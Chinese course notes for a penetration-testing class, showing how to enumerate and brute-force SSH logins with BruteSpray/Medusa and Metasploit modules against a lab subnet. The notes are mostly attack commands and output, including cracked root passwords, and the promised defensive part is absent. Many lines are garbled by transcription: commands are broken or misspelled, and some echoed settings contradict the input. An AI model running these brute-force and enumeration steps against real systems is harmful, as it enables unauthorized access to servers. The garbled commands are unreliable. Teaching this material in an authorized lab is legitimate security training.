开发者学堂课程【网络安全攻防 - Web渗透测试:SSH 密码暴力破解及防御实战_2】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9930
SSH 密码暴力破解及防御实战_2
内容介绍
一、BrutesPray
二、MSF
一、BrutesPray
1、介绍
BrutesPray 是一款基于 nmap 扫描输出的 gnmap/XML 文件,自动调用 Medusa 对服务进行爆破(Medusa 美杜莎是一款端口爆破工具,速度比 Hydra 九头蛇快)。它将会用美杜莎进行暴力破解,而且速度很快。
2、语法参数
-f FILE, --file FILE
参数后跟一个文件名,解析 nmap 输出的 GNMAP 或者 XML 文件
-0 OUTPUT, --output OUTPUT
包含成功尝试的目录
-S SERVICE, --service SERVICE
参数后跟一个服务名,指定要攻击的服务
-t THREADS, --threads THREADS
参数后跟一数值,指定medusa线程数
-T HOSTS,--hosts HOSTS
参数后跟一数值,指定同时测试的主机数
-∪USERLIST, --userlist USERLIST
参数后跟用户字典文件
-P PASSLIST, --passlist PASSLIST
参数后跟密码字典文件
-u USERNAME, --username USERNAME
参数后跟用户名,指定一个用户名进行爆破
-p PASSWORD, --password PASSWORD
参数后跟密码,指定一个密码进行爆破
-C,--continuous
成功之后继续爆破,可能还有别的账号
-i, --interactive
交互模式
3、nmap 扫描
root@kali:~# nmap -V 192.168.106.0/24 -oX nmap . xml
-V 是输出一个详细的过程,实际上不是那么重要,对192.168.106.0/24网段进行扫描,扫描完之后将这个结果输出成xml 格式。这个只是扫描存活的主机。
root@kali:~# nmap -A -p22 -V 192.168.106.0/24 -oX 22. xml
-A 操作系统侦测,版本的侦测等选项的结合体,-p22扫描22端口,
root@kali:~# nmap -sP 192. 168.106.0/24 -oX nmaplive. Xml
-sP 是 P 扫描,这个主机是活动的。
root@kali:~# nmap -sV -0 192.168.106.0/24 -oX nmap. xml
V 是版本,-0操作系统。
第一步扫描一下活动的主机:
root@kali:~# nmap -A -sV -p 22 10.30. 162.0/24 -oX 22. xml
主要扫描22号端口,用10.30. 162.0/24网段进行扫描,将输出的结果到-oX22点 xml 里面。这样就会将开启的22号端口的主机信息放到22点 xml 里面,可以对这些主机进行爆破,只是对端口进行探测。
端口探测用-s,可以 tailf 22.xml 看一下这个文件。重新扫描
# nman .sS .n22 1030 162 0/24
-oX 22. xml
2、字典爆破 SSH
root@kali:~# brutespray --file 22.xml -U userlist.txt -P passlist.txt --threads 5 --hosts 5 进行爆破,对全班进行爆破,不是对一个机器进行爆破。没必要指定主机。
root@kali:- # cat 1 root/brutespray output/ssh- success. txt
[+] ACCOUNT FOUND: [ssh] Host: 192.168.106.134 User: admin Password: 123 [SUCCESS]
root@kali:~# more / root/ brutespray- output/ssh-success. txt
[+]ACCOUNT FOUND: [ssh] Host: 10.30.162.47 User: root Password: SSSS [ SUCCESS]
[+]ACCOUNT FOUND :[ssh] Host: 10.30.162.49 User: root Password: 111 [SUCCESS]
[+]ACCOUNT FOUND: [ssh] Host: 10.30.162.163 User: root Password: dengxin [SUCCESS]
[+]ACCOUNT FOUND: [ssh] Host:10.30.162.142 User: root Password: qwert [SUCCESS]
[+]ACCOUNT FOUND: [ssh] Host: 10.30.162.250 User: root Password: ssss [SUCCESS]
这是第四款软件,它可以叫美杜莎,可以基于 nmap 的一个扫描结果进行爆破,nmap 扫描不需要跟刚才的扫描命令不一样,只需要把22端口探出来就可以,生成的 xml 可以直接给它用。
二、MSF
1、背景
Metasploit Framework (简称 MSF )是一个编写、测试和使用 exploit 代码的完善环境。这个环境为渗透测试,Shellcode 编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的 Perl 编程语言编写的,并带有由 C语言,汇编程序和 Python 编写的可选组件。它本身不是攻击工具,只是一个载核。
2、SSH 模块
root@kali:~# msfconsole
msf > search ssh
3、SSH 用户枚举
这里有几个模块,其中用到了漏洞或者 scanner 的 ssh 下的模块,enumusers 是用来枚举用户的。
msf > use auxiliary/scanner/ssh/ssh_ enumusers
msf auxiliary( scanner/ssh/ssh_ enumusers) > set phosts 192.168. 106.134
msf auxiliary( scanner/ssh/ssh_ enumusers) >s
e
t USER_ FILE /root/userlist.txt
枚举它有什么用户
msf auxiliary( scanner/ssh/ssh_ enumusers) > run
现在它告诉有1749的用户可以利用的漏洞点,并且有536个载荷。
3、SSH 版本探测
msf > use auxiliary/scanner/ssh/ssh_ version
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192. 168.106.134
msf auxiliary(scanner/ssh/ssh_ version) > run
会显示对方主机的版本。
4、SSH 暴力破解
msf > use auxiliary/scanner/ssh/ssh_ login
msf auxiliary( scanner/ssh/ssh_ login) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_ login) > set USER_ _FILE /root/userlist. txt
msf auxiliary( scanner/ssh/ssh_ login) > set PASS_ FILE /root/passlist. txt
msf auxiliary( scanner/ssh/ssh_ login) > run
首先用 use,有 ssh 的枚举用户,暴力破解版本
msf > use auxiliary/scanner/ssh/ssh
use auxiliary/ scanner/ssh/ssh enumusers tools sh
use auxiliary/ scanner/ssh/ssh_ login_ pubkey
use auxiliary/ scanner/ssh/ssh_ identify_ pubkeys
use auxiliary/ scanner/ssh/ssh_ version
use auxiliary/ scanner/ssh/ssh_ login
msf >use auxiliary/ scanner/ssh/ssh_
5、操作
首先登陆到 msfconsole 控制台,每次登陆进去图标都会不一样,登陆进行之后会有一个 ssh 模块,如果知道路径,直接 search 一下得到这个模块。
msf >search ssh
[!] Module database cache not built yet, using slow search
以下是 ssh 的模块:
m
sf > use auxiliary/ scanner/ssh/ssh_
use auxiliary/ scanner/ssh/ssh_ enumusers
枚举用户
use auxiliary/ scanner/ssh/ssh_ lbgin_ pubkey
u
se auxiliary/ scanner/ssh/ssh_ identify pubkeys
use auxi liary/ scanner/ssh/ssh_ version
版本
u
se auxiliary/ scanner/ssh/ssh_ login
暴力破解
m
sf » use auxiliary scanner/ssh/ssh_
没有设置变量,run 是没有用的,
msf auxiliary(scanner/ssh/ssh enumusers) > run
[-] Auxiliary failed: Msf: OptionValidateError Thefollowingoptionsfailedtovalidate:RHOSTS
,
USER FILE.
可以直接 show options,它会告诉有一些变量需要设置一下。
Module options ( auxiliary/scanner/ssh/ssh enumusers):
Name |
Current Setting |
Requi red |
Description |
Proxies |
|
no |
A proxy chain of format type:host:port[, type:host:port][..] |
RHOSTS
|
|
yes
|
The target address range or CIDR identifier |
RPORT |
22 |
yes |
The target port |
THREADS
|
1 |
yes
|
The number of concur rent threads |
THRESHOLD
|
10 |
yes |
Amount of seconds needed before a user is considered found |
USER FILE |
|
yes |
File containing usernames, one per line |
远程主机可以是一个网段 msf auxiliary( scanner/ssh/ssh_ enumusers) > set rhosts 10.30.162.0/24
rhosts => 10.30.162.0/24
线程数 msf auxiliary (scanner/ssh/ssh_ enumusers) > set threads 5
Threads= > 5
msf auxiliary (scanner/ssh/ssh_ enumusers) > set USER_FILE/root/userlist.txt
USER_FILE= >/root/userlist.txt
msf auxiliary (scanner/ssh/ssh_ enumusers) >show options
run
对这些主机的22号端口里面的账号进行枚举,它会枚举出它里面有几个账号:
msf auxiliary(scanner/ssh/ssh_ enumusers) > run
[*] 10.30.162 47 :22 -SSH -Checking for false positives
[*] 10.30.162.47 :22- SSH -Starting scan
[+] 10.30.162 .47 :22- SSH -User ' root' found
[-] 10.30.162.47 :22.- SSH - User ' admin 'not found
[+] 10.30.162 .47 :22- SSH -User ' jack' found
[+] 10.30.162 .47 :22- SSH -User ' alice' found
[-] 10.30.162 .47 :22 -SSH -User ' zhuzhuxia' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution complete
这有几个主机被发现
login 就需要设置远程主机参数,10.30.162.47
再设置 msf auxiliary(scanner/ssh/ssh login) > set user_ file / root/userlist. txt
user_file => /root/userlist. txt
msf auxiliary (scanner/ssh/ssh_ login) > set pass_ file /root/passlist.txt
pass_file => /root/userlist. txt
msf auxiliary(scanner/ssh/ssh_ login) >run
如果 sessions 可以用,也是非常简陋的 sessions,非常简陋的一个对话交互的窗口。
到此为止就是暴力破解工具。